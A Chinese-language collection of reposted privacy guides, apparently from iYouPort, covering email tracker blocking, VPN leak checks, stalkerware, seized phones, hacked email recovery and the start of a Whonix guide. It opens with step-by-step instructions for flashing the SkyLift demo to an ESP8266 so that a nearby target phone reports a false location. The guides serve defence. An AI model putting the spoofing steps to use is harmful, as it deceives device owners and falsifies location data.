接下来，您需要将 NodeMCU 添加到 Boards Manager。单击 “工具”，然后将鼠标悬停在 “Board” 部分上，以查看下拉列表。在顶部，单击 “ Boards Manager” 以打开允许您添加更多板的窗口。

当 “ Boards Manager” 窗口打开时，在搜索字段中键入 “esp8266”。通过 “ ESP8266Community” 选择 “esp8266” 并安装。

现在您应该已经准备好对基于 ESP8266 的微控制器进行编程了。将 ESP8266 插入您的电脑。当您点击 “Tools” 时，应该看到正确的端口被自动选择。

从 “Board” 菜单中选择 “NodeMCU 1.0”，或者您正在使用的 ESP8266。如果您使用的USB电缆不好，端口可能不会显示出来，所以如果您在完成其他步骤后没有看到任何东西，请先尝试其他电缆。

顶部有两个主要按钮。选中标记会编译并检查您的代码是否有错误，右箭头将代码推送到 NodeMCU。

步骤2：下载 SkyLift

「图」

现在您已经设置了 Arduino IDE，需要下载 SkyLift demo。可以通过在新的终端窗口中键入以下内容来克隆其 GitHub 存储库。

```
~$ git clone https://github.com/adamhrv/
skylift.git
```

完成后就可以把目录换成下载的文件夹，在 Arduino IDE 中打开草图。

```
~$ cd skylift ~$ cd skylift_demo/ ~$ open
skylift_demo.ino
```

在这里，您将看到配置文件以及主脚本。

本演示将不会对其进行修改。可以插入 ESP8266，并且只要看到LED闪烁，就可以继续进行下一步。

步骤3：将代码推入 ESP8266

「图」

现在是时候将代码推入到 ESP8266 了，应该通过 Micro-USB 电缆将其插入运行 Arduino IDE 的计算机。

确保在 Arduino 中选择了正确的板，并且端口设置正确。一旦确定设置正确，您就可以点击箭头图标将代码上传到基于 ESP8266 的板上。这应该不会花很长时间，当它完成时您应该看到附近有几个开放的网络正在广播。

在本示例中，这些开放网络就是我们要欺骗的信号，它们是已知的网络，已经被地理定位到 Facebook 的总部。如果能把智能设备放在一个只有这些信号来确定其可能位置的地方，就可以做到欺骗它相信自己在 Facebook 总部的网络附近，而不是它的实际位置。

步骤4：在合适的位置测试本演示

「图」

将代码推入 ESP8266 后就可以在一个合适的位置对其进行测试了。您可以在 Android 上使用 Wigle WiFi 来测量附近网络的数量，并搜寻其他网络接收不良的地方。一旦找到，请关闭手机上的地理定位服务，然后再次打开它。

当您的手机试图定位时，它只能依靠 ESP8266 的欺骗信号。因为这些信号并不可靠，所以它应该将自己的位置确定为 Facebook 总部。

这个假位置应该被编码到启用地理定位后拍摄的照片中；它将持续存在，直到你停止广播欺骗的网络、或目标从GPS卫星或合法的附近网络中获得良好的信号。

A-GPS很容易进行欺骗只要在正确的地方

「图」

对智能设备来说有许多确定其位置的方法，黑客可以利用它们来创造一种设备将依靠虚假信息的情况。

虽然它可能不会在每个环境中都成为问题，但要格外警惕那些在建筑物或其他区域深处得出的GPS位置，这些位置迫使设备依赖容易被欺骗的信号。〇

Change a Phone’s Coordinates by Spoofing Wi-Fi Geolocation Hotspots

原文

如何阻止您的电子邮件被跟踪？ - iyouport

自我保护措施-技术技巧以防身

【 2020年3月27日存档】像素跟踪器可以隐藏在发给您的任何电子邮件的图像中……

您的收件箱中挤满了所有令人讨厌的营销电子邮件，但它们不仅仅是为了推销产品。

⚠它们还使用 MailChimp 之类的软件将跟踪器嵌入到邮件中，从而跟踪您是否已打开电子邮件、何时打开电子邮件、以及当时的位置。

这种跟踪器是如何工作的？

单个跟踪像素嵌入到电子邮件中通常（但不总是）隐藏在图像或链接里。目标人打开电子邮件后，跟踪代码会将信息发送回公司的服务器。

已经进行了一些尝试来限制可以通过这种方式发送的信息量。例如，开发了诸如 Ugly Mail 和 PixelBlock 之类的扩展程序，以阻止 Chrome 和 Firefox 上的跟踪器。

您还可以采取一个简单的基本步骤来避免跟踪器：阻止电子邮件自动加载图像，因为图像是大部分这些像素跟踪器隐藏的位置。

您也许无法避免所有可能以这种方式隐藏在电子邮件中的跟踪器，但是这样做可以有效阻止其中大部分跟踪器。

在主要的台式机和移动电子邮件应用程序中操作，方法如下：

1、在**GMAIL**中禁用图像自动加载：

- 点击右上角的齿轮图标以访问您的设置
- 在“常规”标签中，向下滚动到“图片”
- 选择“在显示外部图像之前询问”
- 向下滚动到页面底部，然后单击“保存更改”

请注意，这还将关闭 Gmail 的动态电子邮件功能，它是使电子邮件更具交互性的功能。

2、在 **MICROSOFT OUTLOOK**（**OFFICE 365**）中禁用图像自动加载：

- 点击“文件”」“选项”
- 在 “Outlook 选项” 窗口中，选择 “Trust Center”
- 点击 “信任中心设置” 按钮
- 选中标记为 “不要在标准HTML消息或RSS项目中自动下载图片” 和 “不要下载经过加密或签名的HTML电子邮件中的图片”的框。如果需要，可以选中第一个项目下面的复选框，从而对第一个项目进行一些例外处理。

3、在 **MICROSOFT** 邮件中禁用图像自动加载：

- 点击左下角的齿轮图标
- 从右侧的“设置”菜单中，选择 “Reading pane”
- 在右侧菜单的底部，关闭 “自动下载S／MIME Mail 以外的外部图像和样式格式”、以及 “自动下载S／MIME 邮件的外部图像和样式格式”
- 如果您使用了多个电子邮件帐户，请确保选中 “应用于所有帐户”

4、在苹果邮件中禁用图像自动加载：

- 选择“邮件”」“首选项”
- 点击“查看”标签
- 取消选中“在邮件中加载远程内容”

5、在 **ANDROID／IOS GMAIL** 中禁用图像自动加载：

- 点击左上角的三条线
- 向下滚动并选择“设置”
- 点击您要使用的电子邮件帐户
- 向下滚动并选择“图像”
- 点击“在显示外部图像之前询问”

从2019年9月3日起，Google还将设置添加到了iOS版本的Gmail中。在**iPhone**客户端上禁用它的方法如下：

- 打开iOS版Gmail，点击左上方的菜单，然后向下滚动至设置

- 选择您使用的帐户，然后点击“图像”
- 从 “始终显示外部图像” 切换为 “显示外部图像之前询问”

请注意，目前看来，它仅适用于个人帐户，不适用于通过G Suite管理的企业帐户。

6、在**IPHONE**上禁用图像自动加载：

- 转到 “设置”」“邮件”
- 找到“消息”部分，然后关闭 “加载远程图像”

另一种选择是使用更安全的电子邮件客户端，例如 Thunderbird，默认情况下会阻止远程图像加载。

该应用程序允许您单独下载嵌入的内容，或者将自己信任的联系人列入白名单，以免在其图像中发送隐藏的跟踪器。

更多见这里《6 个最好的开源桌面电子邮件客户端》〇

原文

如何验证您的 VPN 连接是否安全？ - iYouPort

自我保护措施-技术技巧以防身

如今大规模监控状态已被周知，几乎每个人都知道使用 VPN 了，美国的 VPN 普及度远远高于中国。随着互联网对真正匿名性的需求不断增长、服务提供商具有次优的路由路径、以及对隐私和安全性的要求越来越高，应该建议每个人都使用安全的 VPN，但是并非所有的 **VPN** 都能提供安全。无论您是这个概念的新手还是多年来一直使用代理 IP 进行操作，验证和确保连接的安全性始终是首要任务。

安全 VPN 的一些责任在于服务提供商。提供商可以采取一些步骤来确保“真正的”匿名性和安全性。等式的另一半则掌握在 VPN 用户手中，可以通过各种设置、协议和选项，以便在大多数 VPN 上提供最大程度的安全性和隐私。

什么能使 **VPN** 服务安全？

在评估 VPN 服务及其连接的安全性时，您将需要寻找以下几点：

日志：

- 管理日志记录：VPN 服务是否记录和存储您的 IP 及其网络活动。不同的服务将对此有不同的政策，并且您的隐私的安全性因服务而异。某些国家/地区对 VPN 活动记录的保留天数施加了额外的限制，而其他国家/地区可能没有任何限制。

隧道协议：

- 隧道协议：不同的协议提供不同数量的加密安全性和连接速度。提供各种协议的服务将更加灵活，允许您选择适合您自己的安全性和可用性需求的连接协议。

一致的连接和正常运行时间：

- 一致的连接和正常运行时间：对于大多数付费服务来说这不是

问题，但每个 VPN 都会偶尔出现连接中断或服务器故障。为了真正保护您的位置和活动，您需要与服务本身保持连接。每当您的连接断开时，都会回到自己的个人互联网连接，有一些方法可以减轻这种连接损失对隐私的影响，但第一道防线是一个良好的服务提供商，具有较高的正常运行时间和一致的连接。

选择具有强大安全策略和经过验证表现良好的 VPN 非常重要，并确保您仔细查看每项服务是保护 VPN 连接的第一步。

仔细研究 **VPN** 服务的安全性

日志记录

在 VPN 服务方面，可能是隐私和安全最重要的方面。通过 VPN 运行连接背后的整个想法是保持匿名性，并大大降低恶意者获取您的活动或身份的可能性。服务提供此级别安全性的最有效方法是维护活动的零日志。

实际上“零日志记录”政策是基本不可能找到的。于是您需要寻找的一种服务是，该服务具有最少量的日志记录和处理此信息的具体政策。

同样，这可能会根据服务所在的国家/地区以及服务本身的政策而有所不同。在寻找 VPN 时，您需要仔细检查每个提供商的服务条款，查找有关您的信息保留时间，记录内容以及在何种情况下可以向其他人提供此信息的具体内容。这包括政府机构的官方要求。可以给出的信息越少，保留的时间越短越好。

协议

大多数 VPN 提供多种隧道协议来连接其服务。流行的选项是点对点隧道协议（PPTP），第2层隧道协议（L2TP）和 OpenVPN。每种方法都有自己的优点和缺点，您需要选择提供符合您需求的协议的服务。

PPTP 连接速度最快，但安全性最低。对于大量用户而言甚至可能是首选，因为其较低的安全保护能提供更快的数据传输。如果您正在寻求更安全的选项，还是建议查看其他协议。

L2TP 是相比下最慢的，但提供了更好的安全性。该协议使用的加密会降低其速度，也就是用速度换安全。是否愿意做这个交易要看您在乎什么了。

OpenVPN 在安全性和速度之间创造了一个平衡。对于绝大多数用户来说足够快，并且还提供与 L2TP 协议相当的安全性。

如何保护您的 **VPN** 连接

选择服务后，您可以采取一些简单的步骤以进一步降低隐私受到侵害的风险。这些解决方案通常通过 VPN 服务提供给您的应用程序进行配置，或者如果您选择不使用服务的软件，则通过第三方应用程序进行配置。

DNS 泄漏：每当上网时，您的计算机都使用 DNS 服务器将 Web 地址转换为可以连接的 IP 地址。当您通过 VPN 连接时，这些请求应来自 VPN 的位置。有时在 DNS 解析中会出现“泄漏”，导致您的请求来自您的实际位置而不是您的 VPN。有一些网站和应用程序可以帮助您监控 DNS 泄漏。许多 VPN 提供商和应用程序都提供了监控和纠正 DNS 泄漏的选项。检查配置选项，确保打开与监控或纠正这些泄漏相关的任何设置。

这有一个网页你可以测试一下：www.dnsleaktest.com. 进入该网站，点击“标准测试”（如果你想了解更多监视的内容，您可以点击“扩展测试”——相对来说比较全面，但需要更长的时间）。如果看到自己的国家和 ISP 的结果显示在页面上，就可以知道，你的 ISP 在监视您的连接。

如果你的默认 DNS 服务器是由你的 ISP 分配的，那么防止他们看到你在网上做了什么的最简单的方法之一是改变你的 DNS 服务器。即使你不担心 DNS 泄漏，更改默认的 DNS 服务器也是有好处的，因为这可以提高你的上网速度。

一些 VPN 会监视你的 DNS 请求以确保能够通过 VPN，如果你想看看是否你的 VPN 有这种保护，打开设置，你应该会看到一个检查防范 DNS 漏洞的选项。

某些 VPN 监控软件还包括修复 DNS 泄漏。 VPNCheck Pro 版本和 OpenVPN Watchdog 有这个功能。由于只有付费软件有修复泄漏这样的选项，也许有些人不会考虑去使用。除非你使用了 VPN 监控软件确保您的 VPN 连接是完全安全的。

Teredo 是一个基于 Windows 的技术，本质上说它允许转换两个 IP 通信协议：IPv4 和 IPv6。然而，Teredo 有时会引起 DNS 泄漏，所以建议禁用它。

IPv6 泄漏：与 IPv4 类似，但具有更大的地址空间，IPv6 也用于为互联网上的设备分配地址。绝大多数互联网仍在使用 IPv4，但有时会使用您的 IPv6 地址。您的 VPN 可能无法保护此地址。要阻止这些泄漏，只需在 VPN 应用程序设置中禁用 **IPv6** 即可。

VPN 弱点：有时您可能会失去与 VPN 服务的连接。发生这种情况时，您的网络活动的屏蔽将完全被取消。为防止隐私丢失，请进入连接应用程序设置并打开中止开关功能。基本上，只要 VPN 连接断开，中止开关就会终止你的互联网连接。为了保持良好的声誉，许多 VPN 提供商现在都开始提供中止开关。

测试您的 **IP**：验证您的 VPN 是否正常工作的简单解决方案是访问一个会告诉您 IP 的网站。您可以在互联网上找到一系列这些网站，包括在速度测试站点和主要互联网服务提供商上都可以找到。只是看看列出的 IP 是否是您的实际 IP。

原文

如果你的手机被安装了间谍软件怎么办 - iyouport

你我的灾难现实自我保护措施-技术技巧以防身

【2019年1月21日存档】不是政府买的那种，那种几百万美元；这里说的是很便宜的间谍软件，任何人都买得起用得起，所以

新时代的群众斗群众可不戴红袖章。今天，跟踪软件—也称为“间谍软件”，“消费者监控软件”等等—— 采用应用程序的形式或对设备进行修改，使某人能够远程监控目标的活动。例如，一个名为 PhoneSheriff 的应用程序允许监视者阅读目标设备上的文本并查看照片，并秘密访问其手机的 GPS 位置。

这可不是以色列那种间谍软件，它没有那么昂贵，是“消费级”的，也就是说，普通人都可以用得起。这就是新时代的群众斗群众。

据 Motherboard 去年报道，数万人成为 PhoneSheriff 等间谍软件和应用程序的牺牲品，PhoneSheriff 于2018年3月停产。而 Motherboard 对来自 Retina-X（PhoneSheriff 的前制造商）和另一家间谍软件制造商 FlexiSPY 的大量黑客文件的分析显示，那些使用其产品的人通常是普通人—— 例如“老板，教师，建筑工人” ，父母，嫉妒者“—— 不是执法人员。

市场上至少有数十种消费级的间谍软件应用，如 PhoneSheriff，Mobistealth 和 Family Orbit。 FlexiSPY 应用程序是一个特别受欢迎的软件示例，面向那些试图“抓住”配偶或在他们不知情的情况下密切监视他人的人：

正如 Motherboard 在2017年报道的那样，多年来，FlexiSPY 已经增加了发送假短信、窃取应用程序密码、使用手机摄像头远程拍照、跟踪网络浏览历史、Facebook 上的间谍、甚至 iMessage 和 WhatsApp 聊天等功能，以及监控 Tinder 的各个方面。

没有具体的数字可以说明有多少人是恶意攻击的受害者。但根据国家家庭暴力和性暴力中心等组织的说法，被伴侣监视是最常见的，并且是一种严重的虐待形式。2014 年，总部位于英国的调查组织 Refuge 报告了近1,000名受害者需要帮助的案例，因为他们担心自己会被监视，无论是通过他们的个人设备还是智能家居技术，如网络摄像头和恒温器。

恐惧，操纵，导致自卑，孤立和经济依赖都是施虐者剧本的一部分。间谍软件和其监视者会勾选其中的几个方框：了解某人的行踪，联系和对话对于试图控制他们的人来说是非常宝贵的。

以下是有关 Stalkerware 如何工作，以及如果您认为有人可能会跟踪您可以怎么办。

首先，stalkerware 如何登录到我的手机的？

大多数此类软件最终通过以下两种方式之一进入设备：网络钓鱼攻击（包含病毒的电子邮件或文本链接，并通过伪装成某个熟人来诱骗您点击它们），还包括物理访问设备（恶意女仆攻击）。

通过设备跟踪某人的大多数应用程序都被定义为“远程访问工具”，以帮助父母或雇主实现远程监视。并且，他们很容易被试图控制合作伙伴的人使用。

我怎么知道手机上是否有这些应用程序之一？

了解你的人是最危险的人！这就是为什么我们不断强调切勿让其他人太过了解你。

“我为受害者提供的第一个提示就是相信自己的直觉。如果你的直觉告诉你，你的前任或你现在的伙伴对你的了解太多，那么他们完全有可能监视你的活动，”Cindy Southworth，全国消除家庭暴力网络执行副总裁说。

Southworth 举了一个例子，一位女士的前任给她发送了一条她之前一直在寻找购买的鞋子的链接，称会“看起来很适合你”。如果那位女士点击了链接。间谍活动就开始了。这就是为什么说你应该对了解你的人保持警惕。因为他们知道如何骗你最有效。

很难判断某人是否在手机上安装了 stalkware，因为通常没有明显的证据。但是，如果您有 iPhone，它可能需要“越狱”以便进行安装，因为 iPhone 应用程序商店通常不提供这类软件。

一种可能的方法来判断你的手机是否已经越狱，就是在手机上搜索名为“Cydia”的应用程序，该应用程序允许用户将软件安装到越狱设备上。如果该应用程序存在，这是一个强有力的线索，有人可能已经在您的设备上安装了不需要的软件。

但是，如果没有，那并不能保证您的手机上没有监控软件。您可以将手机带到像 Apple 商店这样的运营商，让他们检查一下，但即使对于可能被监视的人来说，这也是非常危险的。

我刚刚意识到我被间谍软件跟踪了—我该怎么办？

在间谍软件跟踪行为的受害者采取任何行动来对抗其监视者或试图阻止其发生之前，重要的是要考虑风险并谨慎行事。因为虐待者有可能升级暴力。

您应该和可信的人讨论这件事，制定摆脱的计划，或寻找从手机中删除间谍软件的方法，如果您的手机使用受到监控，可能会让您面临风险。根据 Armageddon 的说法，继续使用你的设备并过着普通生活可能是你能做的最安全的事，直到你找到了可靠的逃跑计划。建议在新设备上进行重要对话，如预付费电话或与面对面。

如何从我的设备上取下 stalkerware 并防止它再次入侵？

一种选择是擦除您的设备，并将其恢复为出厂设置。

让手机保持最新系统状态也有助于抵御包括 stalkerware 在内的安全威胁。安装这些应用程序通常需要越狱手机，而较新版本的iOS则更难做到。

请注意，手机上没有可疑应用程序并不能保证您不会以其他方式受到监视。任何有权使用您的位置的应用程序都可用于跟踪您！例如 Strava 等健身应用程序，甚至是 Tinder 之类的约会应用程序。请见这篇文章《如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？》

一般来说，最好尽可能地在手机上关闭地理位置。为了更进一步，删除可能会显示您的位置的 Facebook 和 Twitter 等应用程序，并通过 Web 浏览器应用程序使用基于浏览器的版本。详见以下：

- 《可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？》
- 《您真的理解应用权限都授予了什么吗？这里是保护您安全的

重要知识 》

即使你从来没有成为跟踪软件监视的受害者，用知识武装自己并且阻止它—可以帮助你或你的朋友在未来摆脱困难，预防潜在的危险情况。

How to Tell If Your Partner is Spying on Your Phone. “Stalkerware” apps let abusers monitor their partner’s phones and track their locations—without them knowing.

原文

如果您的手机被盗或被警察抢走... - iyouport

自我保护措施-技术技巧以防身

非常重要的事尽可能不要在手机上完成。但即便您只有手机没有电脑，也有一些方法可以缓解被警察和窃贼 抢走手机的后果

【注】本文是给大众的，也就是最常见的使用手机的人们。对于从事极度敏感活动的人，比如吹哨人、人权律师、活动家等等，您需要更有针对性的措施；但基础框架是一样的。

不要错过我们早前的分别介绍：

- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》
- 《如何保持 Android 设备免受警察的侵害》

您的手机就是您的全部生活。在这里，您可以进行交流，获取新闻，为您所爱的人拍摄照片和视频，放松身心，玩游戏，等等。它可以跟踪您的健康状况，为您指路，提醒您发生的事件，以及更多。于是，手机很容易被恶意行为者用来对付您。重要的是要知道您的手机包含什么，以及它如何导致您容易受到攻击。

您的威胁模型是独特的，也是个人化的。这意味着您将不得不自己来决定哪些解决方案是最适合您的。

最好的保护是避免给攻击者创造任何机会，使其能够物理访问您的手机或其元数据。最安全的解决方案是不要将手机带入任何高风险活动中，比如抗议活动，但这对每个人来说可能并不可行。

- 《你的手机就是秘密监视设备—Snowden访谈视频》
- 《指南：当您准备参加抗议活动...》

没有物理访问您的手机的人可以知道您的什么？

「图」

在没有攻击者对您的手机进行任何物理访问的情况下，您可能认为您的隐私是安全的。但是，您的手机不断地与手机信号塔进行通信，以便能够传输数据（用于浏览或应用程序），或接收和发送短信或电话。要做到这一点，网络需要知道哪个手机塔在给您服务。换句话说，网络知道您在哪里。这使得能够访问您的服务提供商所持有的位置数据的所有人都能够知道您的位置和移动路径。

为了防止这种情况的发生：

- 飞行模式将禁用与蜂窝网络的通信—— 如果您的手机不与蜂窝网络通话，就无法通过这种方式追踪您的位置。确保WiFi和蓝牙也被禁用，因为它们也可能泄露信息。然而，这也意味着您将无法使用数据或获取信息或电话。
- 避免使用短信或普通电话 —— 这些都没有加密，连同您的位置，可以被您的服务提供商看到，他们可以使用黄貂鱼拦截您的数据。您需要使用安全的端对端加密信息传递，在这里看到您可能的选择《安全工具箱补充版》

有物理访问权的人可以知道什么？

「图」

通过物理访问您的手机，攻击者可以获得手机中存储的所有数据。这其中包含了您的通信、照片、浏览历史和应用程序。但它也包含了更多的内容，比如：

- 电话通话记录
- 短信，这包括短信/彩信和任何其他的消息应用程序，只要您安装了
- 日历和笔记
- 照片/视频/音频
- 密码，如果存储不安全，或者如果攻击者也能访问您的密码管理器（如果您使用了一个弱的主密码、指纹或Face ID，或者您的密码管理器在警察没收您的设备时被解锁，就有可能出现这种情况）
- 账户登录
- 云数据和备份《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 已经删掉的数据。即使您从手机中删除了一些东西， 它仍然可

以活在许多地方，在内存和日志中，它可以被恢复。《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 应用切换屏幕截图。当您切换或关闭一个应用程序时，许多设备为您提供了一个正在运行的应用程序的概述，以及他们正在或曾经在做什么。为了实现这一点，他们所做的是创建应用程序内屏幕上发生的最后一件事的截图。该截图会被存储起来，攻击者可以检索到它。一些应用程序会混淆这一点，但大多数不会。这可能会暴露加密通信、密码或其他私人信息
- 位置。您的手机会不断地记录很多细节来显示您的行踪，比如您加入的WiFi接入点、您的手机服务的记录、您拍照时的坐标等等；许多应用程序使用您当前的位置来提供“相关”的搜索结果、天气更新，或其他任何东西
- 日志。您的手机和应用程序有各种各样的文件，记录着它所做的事，错误和崩溃。所有这些信息都被存储起来，可以揭示您如何使用手机，您与谁联系，以及您在哪里。这是一个庞大的列表，为攻击者提供了大量的关于您的私密信息 ……

不用说，您需要保护您的数据和对手机的访问权限。最好的方法是启用全盘加密并使用强密码。并非所有的设备都一样，您需要验证您的设备是否提供全盘加密。

最新版本的Android和iOS默认提供全盘加密。为了确保它的启用，您将不得不添加一个强密码。不要使用只有数字的密码或任何弱密码，因为有许多工具可以轻松破解它们。如果您的手机有一个SD卡，这也可以包含信息，可能不会被您的设备加密。

法院可以批准在未经您的同意的情况下解锁受生物识别（如人脸或指纹识别）保护的手机，因此建议不要启用这两个选项。如果这不可行，切断设备电源，在重新开启时大多数设备都会要求输入密码。

小心使用云备份。虽然恢复您的应用程序和备份消息和图像很有用，但是它们也可以为攻击者提供获取数据的便捷途径。或者，如果攻击者已经可以访问您的手机，他们可以使用您的备份来恢复旧信息，如照片和信息的备份。如果可以的话，在高风险场景下（如参加抗议活动/或可能遇到警察查手机的情况下）禁止访问云。

- 使用强密码对设备进行全盘加密
- 禁用人脸识别和指纹识别
- 禁用云备份
- 关机

如果您的手机找回来了呢？

「图」

假设您的手机被警察拿走了，然后他们又还给您了。您应该怎么做？

最简单的方法就是：弃用。如果您能负担得起，而且您的威胁模型包括这点：那就换一部新手机。

否则：

- 更改所有的密码
- 验证是否有人访问过您的账户。一些电子邮件提供商和社交媒体网站会显示访问您账户的IP列表）。
- 恢复出厂设置。确保您知道这样做对您的特定设备意味着什么。有些情况下会擦除加密的主密钥，有些则会保留一些数据。您需要擦除所有的数据。
- 用新的Apple ID/Google账户登录手机，以避免加载可能受到损害的云端备份。

○□

原文

如果您的电子邮件帐户被黑客入侵怎么办 - iyouport

自我保护措施-技术技巧以防身

【2021年5月14日存档】这里是一些步骤，帮助您夺回控制权，并预防未来的攻击风险。

被黑客攻击的电子邮件是个人数据的金矿，并可能就此访问您的所有其他账户。考虑到如今从网上银行到纳税的一切基本生活都与您的电子邮件联系在一起，如何快速从黑客攻击中恢复这一问题是非常具有时间敏感性的。如果您想将您的身份、财务损失降到最低，并保护您周围的人，您就必须快速而谨慎地采取正确的行动。

根据 Radicati 2019年电子邮件统计报告，到2023年，全球电子邮件用户数量将达到近43亿。更重要的是，该报告预测，用户每天总共将发送和接收3470亿条信息，而2019年平均为2930亿条。电子邮件无处不在的特性加上其持续的增长，使得您的账户成为黑客入侵的诱人目标。

如果您已经成为黑客入侵电子邮件账户的受害者，以下是您需要快速执行的补救措施。

1. 运行您的杀毒程序

「图」

正如FTC关于邮件黑客的指南所指出的那样，如果您的账户被黑客攻击，您应该做的第一件事就是进行端到端的防病毒扫描。

跳过“快速扫描”设置，转而进行深度扫描，不仅可以识别和消除所有形式的恶意软件（包括木马、间谍软件和键盘记录器，即使在入侵被识别后也可能继续跟踪您的击键）和潜在的不需要的应用程序。

黑客不仅仅是想进入您的账户，以便向您的朋友发送令人尴尬的信息

—— 他们正在寻找方法骗取您的钱财或进行信用卡欺诈。例如，黑客的目标是那些经常通过电汇发送资金的企业、组织和个人。一旦电子邮件账户被入侵，黑客就能够发送自己未经授权的转账。

根据FBI的互联网犯罪投诉中心的数据，尽管企业已经做好了网络保护，IT人员也已经上岗，但在过去两年里，仅美国企业的暴露损失就超过7.47亿美元。

当涉及到您的电子邮件账户时，越早进行防病毒扫描就越好。重要的是，在您改变任何其他敏感信息之前，确保设备是干净的，以避免重新启动这个循环。

2. 更改您的密码

「图」

一旦确认您的电脑没有恶意软件，就可以修改密码了。如果您已经失去了对账户的访问权限，可能需要直接联系电子邮件提供商，证明您是谁，并要求重置密码。

选择一个与旧密码明显不同的新密码，并确保它不包含重复字符或数字的字符串。远离那些与您的姓名、生日或类似的个人细节有明显联系的密码。黑客可以很容易地找到这些信息，并经常使用它在第一次暴力入侵尝试中访问您的帐户。

您的密码应该是每个账户的唯一密码，要足够复杂（即字母、数字和特殊字符的混合），至少15个字符长。如果您需要帮助创建新密码或管理所有新的复杂密码，请使用安全的密码管理器。

3. 联系其他在线服务

「图」

更改其他在线账户的密码也很关键。亚马逊、Netflix、信用卡公司甚至本地图书馆等支付型账户都需要重新设置密码。一定要更新您的每一个密码，以防止黑客入侵这些账户。

保持这些其他账户的安全很重要。在这些安全漏洞中，次级服务最终都是更有价值的攻击目标。例如，如果诈骗者找到了重置密码所需的信息，您的银行账户很容易成为下一个入侵目标。

再次强调，一定要对每个网站使用唯一的密码。如果您在多个网站上使用相同的密码，后续入侵的风险会明显增加。

应避免通过电子邮件或社交媒体账户进行简化登录，以进一步降低这种风险。然而，如果您的电子邮件账户中有直接通往某些在线供应商的链接，即使是更改密码也可能不够。

4. 通知您认识的人

「图」

请记住您必须保护您的联系人名单。告诉您的朋友、家人以及您的电子邮件联系人名单上的其他人关于您被黑客攻击的事，这很重要。

在攻击者控制您的账户期间，他们可能会向您认识的每个人发送几十封甚至上百封含有恶意软件的电子邮件。这种类型的钓鱼攻击又让他们获得了一大批新的受害者。

您也应该通知您在其他平台上的好友。电子邮件可能只是攻击者诱骗您的联系人的一种途径，如果他们入侵了您的社交媒体或消息应用程序，欺诈性信息可能会从这些应用程序中的每一个发送出来。

警告您的联系人，让他们采取措施确保自己的设备是干净的，不受影响。

5. 更改您的安全问题

「图」

虽然您的密码是最有可能的攻击途径，但也有可能是黑客在回答了您的安全问题后侵入了您的账户。

通过使用安全问题的虚假答案，您可以颠覆黑客再次入侵的机会。确保它们对您来说是难忘的，但不是能明显的通过您的社交媒体帖子或其他公开信息发现的。根据谷歌最近的研究，许多用户对常见的安全问题都会选择相同的答案。例如，近20%的美国用户对“你最喜欢的食物是什么？”这个问题的答案全部都是“披萨”。

一定要采用许多供应商允许的多因素认证来保护您的登录和密码重置。它不是绝对可靠的，但是足够给攻击者制造一个大障碍。

6. 报告黑客事件

「图」

如果您还没有这样做，请尽快联系您的电子邮件提供商并报告入侵事件。即使您被黑客攻击的电子邮件没有导致您失去访问权限，这一点也很重要。

报告入侵事件有助于提供商追踪基于诈骗的行为；并且可以帮助提供商改进他们的安全性来保护您自己和其他人免受未来的威胁。

此外，您的电子邮件提供商可能会提供有关攻击来源或性质的详细信息。您可能会发现，该漏洞更大，并影响到您可能拥有的其他服务。

7. 创建一个新的电子邮件帐户

「图」

有时候，不值得从头再来。花点时间回想一下：这个邮箱以前被黑过吗？您的供应商是否没有采取足够的措施减轻您收到的垃圾邮件数量？可能是时候换一个了。

寻找一个提供默认加密电子邮件的服务。如果提供商的服务器被入侵，数据加密有助于您的私人电子邮件保持隐蔽。如果没有适当的安全密钥，黑客无法解锁这些数据。

如果您正在寻找一个新的电子邮件提供商，高评价的客户服务是另一个需要留心的标志。在出现问题的情况下，他们应该能够无障碍地与您合作，解决您的情况。

8. 联系信用机构

「图」

黑客的影响力往往比简单的电子邮件黑客所显示的要大得多。在您被黑客攻击后的几个月里，最好能主动联系并要求信用机构监测您的账户。

如果最近有人联系您或回复您任何有您的真实姓名的电子邮件，也要提请注意。诈骗者更有可能在开始诈骗您的信用卡之前，试图进行个人接触，并说服您分享个人资料，即 社交工程。

9. 重新获得安全

「图」

在所有连接的设备上运行防病毒扫描，包括您的笔记本电脑、平板电脑和智能手机，以确保攻击者不会跨平台感染您的设备。

也要采取措施保护云端的安全，因为它也可能包含您的个人数据。更改您的密码，通知您的供应商，甚至考虑用反病毒扫描来清理您的云数据和备份。所有这些措施都可以让您进一步安心。

将您的基本防病毒保护升级到全时互联网安全保护。寻找能够主动阻止新的、未知的威胁，并积极保障您在线行为的服务。

这里有一个近期的防病毒软件测试报告，是针对高级威胁的，您可以参考《Enhanced Real-World Test 2020—Consumer》。

一旦您知道如何修复被黑客攻击的电子邮件，保护自己就变得容易多了。

这些步骤可以帮助您夺回控制权，并预防未来的攻击风险。〇

原文

妈妈说，操作安全永远不能被忽视 - 匿名工具：小白级指南 - iyouport

技术-攻击防御和反抗自我保护措施-技术技巧以防身

【2019年6月27日存档】忽略那些绕嘴的名词，您只需要记住基本动作 - - 0 基础，轻松上手！

我们都知道政府和他们领导的警察国家有多么强的跟踪监视能力。很多时候匿名是绝对必要的。如果您无法以正确的方式使用匿名工具，会造成很多危险。

几乎所有的逮捕、曝光、诱捕或任何去匿名化结果都是在小而技术性的东西背后完成的，用户忘记了开启或使用保护性措施，或做了一些无意中将你的真实生活角色与你的在线活动联系起来的事。

在本指南中，我们将引导您完成安装和设置匿名工具 Whonix，该操作系统旨在保证您的安全，从技术层面做到匿名访问暗网。

在我们开始之前……

你应该拥有至少 2Gb 的 RAM，最近几年内几乎任何机器都会有这个。

⚠ 请记住，工具不是解药！工具是为用户提供保持匿名的能力。解药是可以拯救一个人，但匿名工具不能拯救用户。它们只能授权用户有权拯救自己。所以，根源性问题还在于你。

要知道该如何保证自己的安全，首先就要知道自己面临的威胁都是什么。

您的威胁建模将根据您的身份和所需的操作安全级别而有所不同。Whonix 只是一个工具，如果使用得当，它将帮助您保持安全，并拥有在暗网上保持匿名的显著优势。但即使你完美地使用了 Whonix，如果你的具体动作出现幼儿园级别的错误揭露了你的现实身份—比如从暗网市场购买物品，比特币连接到信用卡—那么 Whonix 也无法拯

救你。

Whonix 团队在整个安装过程中非常明确地阐述了这一点，这些警告字段在本教程中不会突出显示。但是，您应该能时刻记得这些警告，注意安全。

第 **0** 步：首先的首先 **Virtual Box**

您需要安装 Virtual Box 才能使用 Whonix。这是由于 Whonix 的独特方式。

